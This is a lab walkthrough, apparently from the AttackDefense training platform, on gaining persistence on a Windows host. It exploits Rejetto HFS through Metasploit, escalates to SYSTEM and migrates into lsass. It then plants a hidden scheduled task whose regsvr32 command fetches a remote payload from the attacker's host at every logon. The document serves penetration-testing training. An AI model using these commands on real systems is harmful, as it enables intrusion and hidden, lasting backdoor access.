

[illegible]

<b>Name</b>	Maintaining Access: Schtasks
<b>URL</b>	<a href="https://attackdefense.com/challengedetails?cid=2215">https://attackdefense.com/challengedetails?cid=2215</a>
<b>Type</b>	Windows Security: Maintaining Access: Basics

**Important Note:** This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

**Step 1:** Checking the target IP address.

**Note:** The target IP address is stored in the “target” file.

**Command:** cat /root/Desktop/target

```
root@attackdefense:~# cat /root/Desktop/target
Target IP Address : 10.0.29.255
root@attackdefense:~#
```

**Step 2:** Run a Nmap scan against the target IP.

**Command:** nmap 10.0.29.255

```
root@attackdefense:~# nmap 10.0.29.255
Starting Nmap 7.70 ( https://nmap.org ) at 2020-12-05 13:11 IST
Nmap scan report for 10.0.29.255
Host is up (0.0012s latency).
Not shown: 990 closed ports
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49163/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 18.84 seconds
root@attackdefense:~#
```

**Step 3:** We have discovered that multiple ports are open. We will run Nmap again to determine version information on port 80.

**Command:** nmap -sV -p 80 10.0.29.255

```
root@attackdefense:~# nmap -sV -p 80 10.0.29.255
Starting Nmap 7.70 ( https://nmap.org ) at 2020-12-05 13:12 IST
Nmap scan report for 10.0.29.255
Host is up (0.0048s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http      HttpFileServer httpd 2.3
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.61 seconds
root@attackdefense:~#
```

**Step 4:** We will search the exploit module for hfs file server using searchsploit.

**Command:** searchsploit hfs

```
root@attackdefense:~# searchsploit hfs
-----
Exploit Title
-----
Apple Mac OSX 10.4.8 - DMG HFS+ DO_HFS_TRUNCATE Denial of Service
Apple Mac OSX 10.6 - HFS FileSystem (Denial of Service)
Apple Mac OSX 10.6.x - HFS Subsystem Information Disclosure
Apple Mac OSX xnu 1228.x - 'hfs-fcntl' Kernel Privilege Escalation
HFS - FTP/HTTP File Server 2.1.2 Remote Command Execution
Linux Kernel 2.6.x - SquashHFS Double-Free Denial of Service
Rejetto HTTP File Server (HFS) - Remote Command Execution (Metasploit)
Rejetto HTTP File Server (HFS) 1.5/2.x - Multiple Vulnerabilities
Rejetto HTTP File Server (HFS) 2.2/2.3 - Arbitrary File Upload
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (1)
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2)
Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c - Remote Command Execution
-----
Shellcodes: No Result
Papers: No Result
root@attackdefense:~#
```

**Step 5:** Rejetto HTTP File Server (HFS) 2.3 is vulnerable to RCE. Exploiting the target server using the Metasploit framework.

**Commands:**

```
msfconsole -q
use exploit/windows/http/rejetto_hfs_exec
set RHOSTS 10.0.29.255
exploit
```



```

root@attackdefense:~# msfconsole -q
msf6 > use exploit/windows/http/rejetto_hfs_exec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/rejetto_hfs_exec) > set RHOSTS 10.0.29.255
RHOSTS => 10.0.29.255
msf6 exploit(windows/http/rejetto_hfs_exec) > exploit

[*] Started reverse TCP handler on 10.10.1.4:4444
[*] Using URL: http://0.0.0.0:8080/NgepWye
[*] Local IP: http://10.10.1.4:8080/NgepWye
[*] Server started.
[*] Sending a malicious request to /
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exec.rb:110: warning: URI.escape is obsolete
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exec.rb:110: warning: URI.escape is obsolete
[*] Payload request received: /NgepWye
[*] Sending stage (175174 bytes) to 10.0.29.255
[*] Meterpreter session 1 opened (10.10.1.4:4444 -> 10.0.29.255:49182) at 2020-12-05 13:14:11 +0530
[!] Tried to delete %TEMP%\ZyKDFu.vbs, unknown result
[*] Server stopped.

meterpreter > 

```

We have successfully exploited the target vulnerable application (hfs) and received a meterpreter shell.

**Step 6:** Checking the current user.

**Command:** getuid

```

meterpreter > getuid
Server username: WIN-OMCNBKR66MN\Administrator
meterpreter > 

```

**Step 7:** We can observe that we are running as an administrator user. Elevate to the system privilege

**Commands:**

```

getsystem
getuid

```

```
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > █
```

#### Step 8: Migrate in lsass.exe process

##### Commands:

```
ps -S lsass.exe
migrate 692
```

```
meterpreter > ps -S lsass.exe
Filtering on 'lsass.exe'

Process List
=====

  PID  PPID  Name      Arch  Session  User              Path
  ---  ---
  692  596   lsass.exe x64    0         NT AUTHORITY\SYSTEM C:\Windows\System32\lsass.exe

meterpreter > migrate 692
[*] Migrating from 1044 to 692...
[*] Migration completed successfully.
meterpreter >
```

**Step 9:** In this case, we are configuring a persistence backdoor using the [exploit/multi/script/web\\_delivery](#) Metasploit module.

We will generate a Regsvr32 malicious web delivery link for the persistence access.

We will use the generated link to create a task that will trigger the malicious link every time the user login into the system.

Generate a Regsvr32 malicious web delivery link.

Run another msfconsole.

### Commands:

```
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.1.4
set target 3
exploit
```

```
root@attackdefense:~# msfconsole -q
msf6 > use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set LHOST 10.10.1.4
LHOST => 10.10.1.4
msf6 exploit(multi/script/web_delivery) > set target 3
target => 3
msf6 exploit(multi/script/web_delivery) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.10.1.4:4444
[*] Using URL: http://0.0.0.0:8080/5oq2CIKAnPFv08
msf6 exploit(multi/script/web_delivery) > [*] Local IP: http://10.10.1.4:8080/5oq2CIKAnPFv08
[*] Server started.
[*] Run the following command on the target machine:
regsvr32 /s /n /u /i:http://10.10.1.4:8080/5oq2CIKAnPFv08.sct scrobj.dll

msf6 exploit(multi/script/web_delivery) > jobs

Jobs
====

  Id  Name                               Payload                               Payload opts
  --  -
  0    Exploit: multi/script/web_delivery windows/x64/meterpreter/reverse_tcp tcp://10.10.1.4:4444

msf6 exploit(multi/script/web_delivery) > █
```

We have generated the malicious Regsvr32 link.

**Step 10:** Load PowerShell extension and get the PowerShell shell

### Commands:

```
load powershell
powershell_shell
```

```
meterpreter > load powershell
Loading extension powershell...Success.
meterpreter > powershell_shell
PS >
```

**Step 11:** Run schtasks.exe to schedule a task.

**Command:** schtasks /create /tn AttackDefense /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'regsvr32 /s /n /u /i:http://10.10.1.4:8080/5oq2CIKAnPFvO8.sct scrobj.dll'" /sc onlogon /ru System

The above command would create a scheduled task that executes powershell.exe to launch a malicious link on logon, with system privilege.

```
PS > schtasks /create /tn AttackDefense /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'regsvr32 /s /n /u /i:http://10.10.1.4:8080/5oq2CIKAnPFvO8.sct scrobj.dll'" /sc onlogon /ru System
SUCCESS: The scheduled task "AttackDefense" has successfully been created.
PS > █
```

**Step 12:** Reboot the machine.

**Commands:** CTRL + C

y  
reboot

**Note:** If you won't be able to reboot the machine using meterpreter then reboot the machine manually by running the command PowerShell command i.e Restart-Computer -Force

```
PS > ^C
Terminate channel 1? [y/N] y
meterpreter > reboot
Rebooting...
meterpreter > █
```

Once the machine reboots we would expect a new meterpreter session without re-exploitation. This happened because we have created a task to run the malicious link on user logon.



Please wait patiently, you would receive the meterpreter session after the windows server loads completely. This could take up to 5 minutes.

```
msf6 exploit(multi/script/web_delivery) >
[*] 10.0.29.255 web_delivery - Handling .sct Request
[*] 10.0.29.255 web_delivery - Delivering Payload (2096 bytes)
[*] Sending stage (200262 bytes) to 10.0.29.255
[*] Meterpreter session 1 opened (10.10.1.4:4444 -> 10.0.29.255:49168) at 2020-12-05 13:26:02 +0530

msf6 exploit(multi/script/web_delivery) > sessions

Active sessions
=====

  Id  Name  Type           Information                                     Connection
  --  ---  --
  1           meterpreter x64/windows NT AUTHORITY\SYSTEM @ WIN-OMCNBKR66MN 10.10.1.4:4444 -> 10.0.29.255:49168 (10.0.29.255)

msf6 exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

We have received a new meterpreter session.

## References:

1. Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (<https://www.exploit-db.com/exploits/39161>)
2. Script Web Delivery ([https://www.rapid7.com/db/modules/exploit/multi/script/web\\_delivery/](https://www.rapid7.com/db/modules/exploit/multi/script/web_delivery/))
3. Persistence – Scheduled Tasks (<https://pentestlab.blog/2019/11/04/persistence-scheduled-tasks/>)